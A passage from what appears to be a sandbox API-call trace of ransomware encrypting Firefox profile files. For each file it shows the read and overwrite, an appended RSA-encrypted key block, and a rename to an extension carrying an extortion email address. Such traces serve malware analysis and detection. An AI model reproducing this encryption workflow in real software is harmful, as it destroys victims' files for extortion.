pbBuffer=0x45b234) returned 1 [0241.309] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flash-simple.sbstore", dwFileAttributes=0x80) returned 1 [0241.309] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flash-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flash-simple.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.310] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=232) returned 1 [0241.310] ReadFile (in: hFile=0x1a54, lpBuffer=0x5a37b8, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a37b8*, lpNumberOfBytesRead=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0241.310] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.310] WriteFile (in: hFile=0x1a54, lpBuffer=0x57ede0*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57ede0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0241.311] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe8 [0241.311] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.311] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.311] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.311] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.311] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.311] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="TSRg/LVopojR/0XiIwBx643V5HUtOMuX3ai3yiqSFmh+YZvyCENH0zLYc+GmzFcH\ndoT/iFrWAGmD2S99m+brIDh++ow33ONr3D6pMrNKWojaMQ0XiHLBvluL7jGSW1M9\n2QgTJ7j7n6YaUng/z6ypfHtA91b/d25Q9daj7ZZviFg26OIqWBrLbJv3LNzcg3MH\nUFRgrWQVZEdNlBv6sMJaqOSDlLHlkG79cUVgwv5jlxXzdInLtCGRoU+/1It2vG/e\nROIomhp2/6ublSiw+IDPIJ29P2QX14K3lpNt2rjFBHxTbCapvGwzGmSn+mWoK2K5\nl4U1K/fnlaNEUBs4NJxlfw==\n", pcchString=0x2e3f9a8) returned 1 [0241.311] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.312] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.312] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.312] CloseHandle (hObject=0x1a54) returned 1 [0241.312] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flash-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flash-simple.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flash-simple.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flash-simple.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.313] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.313] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flash-simple.pset", dwFileAttributes=0x80) returned 1 [0241.314] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flash-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flash-simple.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.314] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16) returned 1 [0241.314] ReadFile (in: hFile=0x1a54, lpBuffer=0x2e40630, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40630*, lpNumberOfBytesRead=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.315] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.315] WriteFile (in: hFile=0x1a54, lpBuffer=0x2e403c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e403c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.315] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10 [0241.315] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.315] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.315] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.315] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.316] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.316] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="uI/iaxKvyMviYZlRMCTLfw+lxuc/2wDsogxlcr0+TG1W4n0oJbThM6AL8bdvgIdW\n+YiXMWE18KTOVNxhSerDGlosHT4yHEleH4QzPZmoDAHfDDCIXy2QRnG9A2R1kCha\nfzTHgkcz3Ga1BbNXX2rEBCkRIL0Meo5aoAXwYHOrbbhK39xYQ7+CwghsExI+Z8T4\nyuif0OC3gOgjjh5lDN8NPo6jVYuM/r7HyhVGq6ATg7UWzSqIsZ6h1YfPz0PaUaBv\nXOg4I00gza0Zh6lQWgb/ltUUeIvW4ntT3cu/zaMFJMSCu3arPCikvSI2fTPac36O\nhHYnuoLZJXo1eVmwya1wmQ==\n", pcchString=0x2e3f9a8) returned 1 [0241.316] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.316] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.316] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.316] CloseHandle (hObject=0x1a54) returned 1 [0241.316] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flash-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flash-simple.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flash-simple.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\testexcept-flash-simple.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.340] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.340] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.sbstore", dwFileAttributes=0x80) returned 1 [0241.341] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.341] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=232) returned 1 [0241.341] ReadFile (in: hFile=0x1a54, lpBuffer=0x5a37b8, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a37b8*, lpNumberOfBytesRead=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0241.345] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.345] WriteFile (in: hFile=0x1a54, lpBuffer=0x57ede0*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57ede0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0241.345] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe8 [0241.345] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.345] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.345] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.345] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.346] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.346] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="cE9/m1Z/HKQ0rvcr6/PH7TT5fSmwWl19xWCSKKx5Dpf/aCX5kOVEC9XZ1lHvcbGM\niyIZ9KK1OjzGDshbacrdif5r+7tiIeKlJJnzPqgl1F1Qk+9cc2kfE6+d133FCyeT\nqTZY62d5cpI8S10YuV24DXnrPhZ0XF7r67BzmSD20AyR0Of4vWuqI3dUGylol+Ef\nbxXEHKpfgiFvHZvsJoHcg8XKpAAZQXVznCMOPp9sTur9nq9ihD1FLe75ZaC03GpD\nuGcxfaz2skogdzgYRYl6xhVHoWOXzoxLj+20UfqB/hTnbRXdvlJbfdePOr9FJ+UP\nlC1hK/IEVhJQUGPirjRTAQ==\n", pcchString=0x2e3f9a8) returned 1 [0241.346] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.346] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.346] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.346] CloseHandle (hObject=0x1a54) returned 1 [0241.347] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.348] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.348] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.pset", dwFileAttributes=0x80) returned 1 [0241.349] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.349] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16) returned 1 [0241.349] ReadFile (in: hFile=0x1a54, lpBuffer=0x2e40540, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40540*, lpNumberOfBytesRead=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.350] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.350] WriteFile (in: hFile=0x1a54, lpBuffer=0x2e40558*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40558*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.350] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10 [0241.351] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.351] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.351] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.351] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.351] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.351] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="9XUCy/2aFuaQ2PrdtefQxf0rIIWmG7dnFOQnay1nqSN2eqE9evnfvfSm0ZtG/gSF\nwZamDTaU9u6r6bi3oYZ8miGLMnfWSXuZ0OCX6SK71oA4Kd3R9kUNoFA3nC5saXey\naxz8jMz+ZpTIEvXx6OuP7eW7kz7STjfUAo0N28XAUWCnMKbFwNukbeM/SkYKKA47\nBPgTXD1r84Wv8ooJiSzK8MoPspmhaqSCi5zgZBK4R9fBTpW4I5AMlV1VnP1Z2rdp\nQrq6pT1CFCuNDzhKzthEhJ5YHCqGk52RuFLviLK/FSLO4ynhsyncWOEE+pKYMtWS\ngKGMwT2idnDstCyc48mtsQ==\n", pcchString=0x2e3f9a8) returned 1 [0241.351] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.351] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.351] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.351] CloseHandle (hObject=0x1a54) returned 1 [0241.351] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-unwanted-simple.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.353] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.353] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.sbstore", dwFileAttributes=0x80) returned 1 [0241.354] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.355] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=232) returned 1 [0241.355] ReadFile (in: hFile=0x1a54, lpBuffer=0x5a37b8, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a37b8*, lpNumberOfBytesRead=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0241.355] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.355] WriteFile (in: hFile=0x1a54, lpBuffer=0x57ede0*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57ede0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0241.356] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe8 [0241.356] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.356] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.356] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.356] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.356] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.356] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="4EqhZDTQsPv1cKigKe9o67LqVhooHQQ33Dndg+Fq9NvpSpuPk6Xj/xWsx9Nnfjh1\nJrrWoYIGO/KDrlQi/gX+ceZJIIEnUmfUkihFhoLuj0ExlBVuQ7+JvoL3i3jwRndB\nnSr+nOOGc/RhH8iCXCyFfMGRdwROVJQSs7Y4rMEtWaAI3Er94VeKVzNqduy0tkka\nPaJOidHUkgCI0/FlbF+Bqft0/qDctB+glmR2jMK3v0h/s34DoYmVZE/i5aQv5Y6U\nrYQfA5Cv7qaHF2GymhHeu6QjjOP92OIf9n6F3wkMnoXnQHUB2ByZRW0emL0/YrCb\noVp2/RTZr5lg0jXdmDDQiQ==\n", pcchString=0x2e3f9a8) returned 1 [0241.356] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.357] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.357] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.357] CloseHandle (hObject=0x1a54) returned 1 [0241.357] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.359] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.359] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.pset", dwFileAttributes=0x80) returned 1 [0241.359] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-trackwhite-simple.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.359] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16) returned 1 [0241.359] ReadFile (in: hFile=0x1a54, lpBuffer=0x2e405e8, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e405e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.360] SetFilePointer (in: hFile=0x1a54, 